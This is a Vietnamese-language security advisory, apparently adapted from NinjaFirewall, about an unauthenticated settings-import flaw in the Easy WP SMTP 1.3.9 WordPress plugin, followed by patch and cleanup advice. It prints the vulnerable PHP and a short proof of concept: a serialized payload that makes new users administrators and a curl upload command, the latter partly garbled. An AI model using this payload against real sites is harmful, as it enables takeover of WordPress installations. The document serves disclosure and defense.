Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP
Plugin Easy WP SMTP phổ biến , với hơn 300.000 cài đặt hoạt động, dễ bị lỗ hổng zero-day nghiêm trọng cho phép người dùng không được xác thực sửa đổi các tùy chọn WordPress hoặc tiêm và thực thi mã trong số các hành động độc hại khác.
Lỗ hổng, được tìm thấy trong phiên bản v1.3.9, đã bị tin tặc khai thác kể từ ít nhất là ngày 15 tháng 3 và đã bị bắt bởi Tường lửa ứng dụng web cho WordPress, NinjaFirewall (Phiên bản WP) .
add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
}
//view log file
if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
wp_die( 'Can\'t write to log file. Check if plugin directory (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
};
}
$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
if ( ! $logfile ) {
wp_die( 'Can\'t open log file.' );
}
header( 'Content-Type: text/plain' );
fpassthru( $logfile );
die;
}
}
//check if this is export settings request
$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_export_settings ) {
$data = array();
$opts = get_option( 'swpsmtp_options', array() );
$data[ 'swpsmtp_options' ] = $opts;
$swpsmtp_pass_encrypted = get_option( 'swpsmtp_pass_encrypted', false );
$data[ 'swpsmtp_pass_encrypted' ] = $swpsmtp_pass_encrypted;
if ( $swpsmtp_pass_encrypted ) {
$swpsmtp_enc_key = get_option( 'swpsmtp_enc_key', false );
$data[ 'swpsmtp_enc_key' ] = $swpsmtp_enc_key;
}
$smtp_test_mail = get_option( 'smtp_test_mail', array() );
$data[ 'smtp_test_mail' ] = $smtp_test_mail;
$out = array();
$out[ 'data' ] = serialize( $data );
$out[ 'ver' ] = 1;
$out[ 'checksum' ] = md5( $out[ 'data' ] );
$filename = 'easy_wp_smtp_settings.txt';
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
header( 'Content-Type: text/plain' );
echo serialize( $out );
exit;
}
$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
if ( $is_import_settings ) {
$err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
echo $err_msg;
wp_die();
}
$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
try {
$in = unserialize( $in_raw );
if ( empty( $in[ 'data' ] ) ) {
echo $err_msg;
wp_die();
}
if ( empty( $in[ 'checksum' ] ) ) {
echo $err_msg;
wp_die();
}
if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
echo $err_msg;
wp_die();
}
$data = unserialize( $in[ 'data' ] );
foreach ( $data as $key => $value ) {
update_option( $key, $value );
}
set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
wp_safe_redirect( $url );
exit;
} catch ( Exception $ex ) {
echo $err_msg;
wp_die();
}
}
}
Hàm trên admin_init()
, từ easy-wp-smtp.php
tập lệnh, được chạy qua admin_init
hook khi người dùng truy cập vào khu vực quản trị. Nó được sử dụng để xem / xóa nhật ký, nhập / xuất cấu hình plugin và cập nhật các tùy chọn trong cơ sở dữ liệu WordPress. Nó không kiểm tra khả năng của người dùng, do đó bất kỳ người dùng nào đã đăng nhập, như người đăng ký, đều có thể kích hoạt nó. Tuy nhiên nó cũng có thể được thực thi bởi người dùng chưa được xác thực, bởi vì Plugin Easy WP SMTP sử dụng AJAX và admin_init
hook cũng chạy trên admin-ajax.php như được chỉ ra trong tài liệu API WordPress:
“Lưu ý, điều này không chỉ chạy trên màn hình quản trị người dùng. Nó cũng chạy trên admin-ajax.php và admin-post.php.”
Do đó, người dùng không được xác thực có thể gửi yêu cầu AJAX, ví dụ action=swpsmtp_clear_log
, để kích hoạt chức năng trên và thực thi mã của nó.
Bằng chứng của khái niệm trên
Trong bằng chứng khái niệm sau đây, mình sẽ sử dụng swpsmtp_import_settings
để tải lên một tệp sẽ chứa một payload nối tiếp độc hại sẽ cho phép người dùng đăng ký ( users_can_register
) và đặt vai trò mặc định của người dùng ( default_role
) cho quản trị viên của người dùng trong cơ sở dữ liệu.
1. Tạo một tên tập tin / tmp / upload.txt và thêm nội dung này vào đó:
a: 2: {s: 4: "data"; s: 81: "a: 2: {s: 18:" users_can_register "; s: 1:" 1 "; s: 12:" default_role "; s: 13 : "admin";} "; s: 8:" checksum "; s: 32:" 3ce5fb6d7b1dbd6252f4b5b3526650c8 ";}
2. Tải tệp lên:
$ curl https://fornewbie.net/wp-admin/admin-ajax.php -F 'action = swpsmtp_clear_log' -F 'swpsmtp_import_sinstall = 1' -F 'swpsmtp_import_sinstall_file=@tup
Các lỗ hổng khác có thể bị khai thác như:
- Thực thi mã từ xa thông qua PHP Object Injection vì với Easy WP SMTP sử dụng các
unserialize()
cách gọi không an toàn . - Xem / xóa nhật ký (hoặc bất kỳ tệp nào, vì tin tặc có thể thay đổi tên tệp nhật ký).
- Xuất cấu hình plugin bao gồm máy chủ SMTP, tên người dùng và mật khẩu và sử dụng nó để gửi email spam.
Điều thú vị là tất cả các nỗ lực bị bắt bởi tường lửa cho thấy tin tặc đã cố gắng khai thác lỗ hổng để thay đổi nội dung của wp_user_roles
tùy chọn WordPress trong cơ sở dữ liệu và cung cấp khả năng quản trị viên cho tất cả người dùng. Không giống như tạo tài khoản quản trị viên, có thể dễ dàng phát hiện trong phần Người dùng WordPress, việc thay đổi khả năng hầu như không đáng chú ý, tức là, một người dùng đơn giản sẽ tiếp tục xuất hiện dưới dạng người dùng đơn giản nhưng sẽ có thể làm mọi thứ mà quản trị viên có thể làm. ( Có thể hiểu như bạn không phải vua nhưng làm được mọi thứ mà vua làm, việc chèn các Script hay thao tác vấn đề về việc leo thang vai trò người dùng, hoặc thậm chí là vô hiệu hóa user ADMIN là điều hoàn toàn đơn giản. )
Dấu thời gian
Một phiên bản mới 1.3.9.1 đã được phát hành vào ngày 17 tháng 3. Đã sửa lỗi dễ bị tấn công trong cài đặt nhập \ xuất được phát hành và bạn có thể tải cũng như cập nhật mới.
khuyến nghị
Cập nhật càng sớm càng tốt nếu bạn vẫn đang chạy phiên bản 1.3.9 thì có thể cập nhật mới => Tại Đây
Nếu bạn đang sử dụng tường lửa ứng dụng web cho WordPress, NinjaFirewall WP Edition (miễn phí) và NinjaFirewall WP + Edition (cao cấp), bạn sẽ được bảo vệ chống lại lỗ hổng này.
Nếu bạn đang sử dụng phiên bản dễ bị xâm hại của Easy WP SMTP, đây là một số đề xuất bổ sung (danh sách có thể không đầy đủ với kiến thức hạn hẹp ):
- Kiểm tra Cài đặt WordPress của bạn > Trang General : Đảm bảo không có gì bị giả mạo (URL, Địa chỉ email, Tư cách thành viên và Vai trò mặc định của người dùng mới).
- Kiểm tra trang WordPress của người dùng WordPress của bạn: Tìm kiếm người dùng mới, tài khoản quản trị lạ, kiểm tra địa chỉ email quản trị viên, v.v.
- Thay đổi tất cả mật khẩu.
- Kiểm tra bảng WordPress
wp_options
* của bạn trong cơ sở dữ liệu.: Đảm bảowp_user_roles
* , chứa các vai trò và khả năng của người dùng, đã không bị giả mạo. Bạn cũng có thể sử dụng NinjaScanner miễn phí của chúng tôi cho WordPress . - Quét các tập tin của bạn quá, tin tặc có thể đã tải lên backreen.
- Thay đổi mật khẩu SMTP của bạn, tin tặc có thể đã đánh cắp nó.
Nếu bạn đã thay đổi tiền tố cơ sở dữ liệu WordPress của mình, hãy thay thế wp_
bằng tiền tố chính xác. Have fun 🙂
The content of : NinjaFirewall WP Edition ©